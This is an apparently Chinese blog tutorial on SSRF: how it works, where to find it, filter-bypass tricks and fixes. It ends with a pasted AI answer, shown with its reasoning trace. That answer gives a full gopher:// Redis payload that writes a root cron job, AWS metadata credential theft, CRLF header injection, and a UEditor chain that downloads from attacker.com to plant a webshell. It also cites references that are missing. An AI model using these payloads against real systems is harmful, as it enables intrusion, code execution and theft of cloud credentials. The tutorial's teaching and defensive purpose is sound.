【漏洞利用】SSRF漏洞挖掘利用、绕过技巧、防御修复详细解析

参考文章


概述


总结
利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。


一、漏洞介绍

SSRF(Server-Side Request Forgery:服务器端请求伪造)


二、漏洞原理

由于服务端提供了从其他服务器应用获取资源的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。

数据流:攻击者—>服务器—>目标地址


三、漏洞危害

  • 内网信息泄露(端口、物理路径、配置信息、本地文件泄露等)
  • 内网或本地其他服务收到攻击,(DDos)
  • 穿透防火墙
  • 对内网web应用进行指纹识别,通过访问默认文件实现;

四、利用前提

  • 目标网站获取资源的方式
  • 可以控制目标网站获取指定资源,或向指定站点获取资源
  • 获取指定资源后,顺利通过过滤,成功执行
  • 可以获取过滤后或执行后的内容

五、挖掘利用

1、使用curl会话请求

描述
利用curl会话请求,获取相关地址的资源。

挖掘
因为可以通过GET请求、POST请求等方式,获取用户想要的目标资源,所以该漏洞的挖掘思路只能是判断观察服务器用户什么数据并执行(如给定数据https://www.baidu.com,观察是否访问了百度)
支持的协议dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp

利用
使用http、https等协议,搜寻我们想要的信息。下面以GET型举例

//探测端口、内网IP、等
?curl=http://127.0.0.1:80

//探测服务器物理目录、文件等
?curl=file:///C:/Windows/System32/drivers/etc/hosts

2、file_get_contents()

描述
该函数是用于把文件的内容读入到一个字符串中的首选方法。但是实际情况下,常常会输出它。且该函数时二进制安全的。可以用它获取相关地址的资源。

挖掘
同上。

利用
不明,可以使用file、http、https。

3、fsockopen()

4、SSRF in java

网络请求支持的协议如下:http,https,file,ftp,mailto,jar,netdoc
以下几种类引用不当会造成SSRF :Request类,URL类的openStream,HttpClient类,URLConnection和HttpURLConnection类,

5、SSRF in python

当使用了Python 的urllib库,请求url为用户可控时,就可能存在ssrf漏洞,且可以通过漏洞python urllib http头注入实现对内网未授权仿问的redis 服务器getshell

6、挖掘方向

  • 分享:通过url地址分享网页内容
  • 转码服务:通过url地址把源地址的网页内容调优使其适合手机屏幕浏览
  • 在线翻译:通过url地址翻译对应文本的内容
  • 能够对外发起网络请求的地方
  • 请求远程服务器资源的地方
  • 图片、文章、文件收藏功能
  • 未公开的api实现以及其他调用url的功能
  • 寻找关键字:share wap url link src source target u 3g display sourceURl imageURL domain(配合谷歌语法寻找)

7、绕过技巧

1.IP限制绕过

locahost绕过
攻击本地地址,过滤掉127.0.0.1的情况下,用locahost替代
[::]绕过
过滤掉locahost,可使用[::]替代
利用@
http://example.com@127.0.0.1
利用短地址
http://dwz.cn/11SMa (这个不太清楚)
进制转换绕过
十进制转换 八进制转换 十六进制转换  不同进制组合转换
例如将192.168.0.1改写成:

8进制格式:0300.0250.0.1
10进制整数格式:3232235521
16进制格式:0xC0.0xA8.0.1
16进制整数格式:0xC0A80001

利用Enclosed alphanumerics

利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

利用句号
127。0。0。1  >>>  127.0.0.1
利用302跳转
如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用302跳转的方式来进行绕过。
http://xip.io 当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。
DNS Rebinding
对于常见的IP限制,后端服务器可能通过下图的流程进行IP过滤
![[Pasted image 20210125224939.png]]
对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间查,利用这个时间差,我们可以进行DNS 重绑定攻击。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:

(1)、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP

(2)、对于获得的IP进行判断,发现为非黑名单IP,则通过验证

(3)、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。

(4)、由于已经绕过验证,所以服务器端返回访问内网资源的结果。

2.协议限制绕过

当url协议限定只为http(s)时,可以利用follow redirect 特性
构造302跳转服务,
结合dict:// file:// gopher://


六、修复防范

如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤(黑白名单)。

  • 限制协议为HTTP,HTTPS ,或禁止使用不需要的协议
  • 设置URL白列表或限制内网IP
  • 过滤返回信息
  • 统一错误信息
  • 限制请求的端口为http常用的端口

七、提出问题

<think>好的,我现在要回答用户关于SSRF漏洞深度利用的问题。首先,我需要回忆SSRF的基本概念和常见利用方法SSRF是服务器端请求伪造,攻击者可以诱使服务器向内部或外部系统发送恶意请求。用户已经知道一些防护措施,但想深入了解如何深度利用这个漏洞,包括技术细节、攻防实例。 首先,我应该从SSRF利用链入手,比如如何绕过常见的防护措施。例如,很多系统可能会过滤常见的协议如http、https,但攻击者可以使用其他协议如gopher、file、dict等。需要详细说明这些协议在攻击中的作用,比如gopher协议可以构造任意TCP请求,进而访问内部服务或执行Redis未授权访问攻击。 接下来,要考虑如何利用URL解析差异。不同的编程语言和库对URL的解析可能不一致,比如对@符号、斜杠、域名格式的处理差异。例如,使用http://evil.com@10.0.0.1可能会被解析为访问10.0.0.1,而某些系统可能误认为目标域名是evil.com。这部分需要具体例子,比如PHP的parse_url和Python的urllib在处理上的不同。 然后,需要涉及内网探测和服务指纹识别。攻击者可以通过SSRF扫描内网端口,识别开放的服务,比如Redis、MySQL等,然后进一步攻击。例如,访问http://example.com/ssrf.php?url=127.0.0.1:6379,如果返回特定响应,可能说明Redis服务存在未授权访问。 另外,云环境下的元数据服务也是一个重点。比如AWS的元数据地址是http://169.254.169.254,攻击者通过SSRF获取临时凭证,进而控制云主机。需要给出具体请求示例,并说明如何利用返回的凭证进行后续攻击。 关于协议扩展利用,比如利用CRLF注入到HTTP请求头中,构造恶意请求。例如,使用gopher协议发送一个POST请求,携带恶意数据,攻击内网的FastJSON反序列化漏洞。这部分需要详细步骤,如何构造payload,以及可能遇到的防护措施。 在实例分析部分,可以引用UEditor的漏洞,如引用[3]提到的任意文件上传漏洞,结合SSRF进行攻击。例如,利用SSRF将恶意文件上传到内网系统,然后通过其他漏洞执行代码。需要说明具体的漏洞利用链,如何串联多个漏洞达到攻击效果。 防御方面,除了用户提到的统一规划请求,还需要具体措施,如禁用危险协议、严格校验请求目标、使用白名单等。同时,结合引用[2]提到的补丁比对技术,说明如何通过分析补丁来发现和修复SSRF漏洞。 最后,生成相关问题时要覆盖漏洞挖掘、高级绕过、云环境利用、组合漏洞攻击以及防御策略。确保问题具有针对性,帮助用户进一步学习。 现在需要检查是否有遗漏的技术点,比如DNS重绑定、利用SSRF进行端口扫描的细节,或者如何利用302跳转绕过黑名单。此外,确保每个技术点都有实例或引用支持,比如引用[3]中的例子。同时,注意使用正确的LaTeX格式,虽然SSRF内容可能数学公式较少,但如果有变量或代码,需正确使用$或$$包裹。 总结来说,回答结构应分为利用链构建、协议利用解析差异、内网探测、云元数据、协议扩展、实例分析,以及防御措施。每个部分都要有具体的技术细节和例子,并适当引用提供的资料。确保内容详细且符合用户要求的深度利用技术。</think>### SSRF漏洞深度利用技术分析 #### 1. **利用链构建与协议扩展** SSRF漏洞的核心在于利用服务器发起非预期请求。攻击者可通过以下方式扩展攻击面: - **多协议利用**:除HTTP/HTTPS外,可利用`gopher`、`file`、`dict`等协议。例如: - `gopher://`可构造任意TCP请求,用于攻击内网Redis服务: ```http gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$10%0d%0aevil_code%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a ``` 此Payload通过Redis未授权访问写入定时任务实现远程代码执行[^3]。 - `file://`协议可读取服务器本地文件(需权限允许),如`file:///etc/passwd`。 - **URL解析差异绕过**:不同语言/库对URL的解析存在差异。例如: - **PHP的`parse_url` vs Python `urllib`**:`http://evil.com@10.0.0.1:8080`在PHP中可能解析目标为`10.0.0.1:8080`,而部分防护逻辑可能误判为`evil.com`。 - **利用畸形的IPv6地址**:`http://[::127.0.0.1]:80/`可能绕过黑名单过滤。 #### 2. **内网探测与服务指纹识别** - **端口扫描**:通过响应时间/状态码判断端口开放情况。例如: ```http http://target.com/ssrf.php?url=http://127.0.0.1:22 ``` 若响应延迟较高且返回连接拒绝,可能表明SSH服务开放。 - **服务指纹识别**:利用`dict`协议获取服务Banner: ```http dict://127.0.0.1:6379/info ``` 可获取Redis版本信息,辅助后续攻击。 #### 3. **云环境元数据滥用** 云主机元数据接口(如AWS的`169.254.169.254`)是SSRF的高价值目标。攻击链示例: 1. 获取临时凭证: ```http http://169.254.169.254/latest/meta-data/iam/security-credentials/ ``` 2. 利用凭证调用云服务API,如创建后门用户或下载敏感数据。 #### 4. **协议扩展与CRLF注入** 结合CRLF(回车换行)注入构造恶意请求头: ```http http://example.com/ssrf?url=http://internal-api.com/%0D%0AX-Forwarded-For:%20127.0.0.1%0D%0A ``` 此请求可能绕过IP校验,并伪造来源IP访问内部接口。 #### 5. **实例:UEditor编辑器组合利用** 参考UEditor文件上传漏洞[^3],攻击链可设计为: 1. 利用SSRF访问内网UEditor的`controller.jsp`接口: ```http http://internal-server/ueditor/jsp/controller.jsp?action=catchimage&source[]=http://attacker.com/malicious.jpg ``` 2. 通过伪造图片URL触发远程下载,结合文件上传漏洞写入Webshell。 #### 6. **防御措施** - **协议白名单**:仅允许HTTP/HTTPS,禁用`gopher`、`file`等危险协议。 - **请求目标校验**:使用正则严格校验域名格式(如禁止IP地址、保留字)。 - **网络隔离**:限制服务器出站流量,禁止访问元数据接口和内网敏感段。 - **补丁管理**:参考补丁比对技术[^2],及时修复解析逻辑漏洞。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值